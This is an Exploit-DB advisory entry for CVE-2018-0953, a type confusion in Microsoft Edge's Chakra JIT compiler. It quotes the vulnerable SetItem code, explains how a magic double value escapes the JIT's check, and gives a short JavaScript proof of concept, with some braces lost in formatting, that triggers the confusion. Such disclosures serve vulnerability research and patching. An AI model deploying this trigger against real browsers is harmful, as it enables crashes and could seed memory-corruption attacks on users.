Microsoft Edge Chakra JIT - Magic Value Type Confusion

EDB-ID: 44694
Author: Google Security Research
Published: 2018-05-22
CVE: CVE-2018-0953
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Type Confusion
Vulnerable App: N/A

 BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue) 
if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
return TRUE;

this->DirectSetItemAt<double>(index, dValue);
return TRUE;

As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.

function opt(arr, value) {
arr[1] = value;
arr[0] = 2.3023e-320;

function main() {
for (let i = 0; i < 0x10000; i++)
opt([1.1], 2.2);

let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!



Related Posts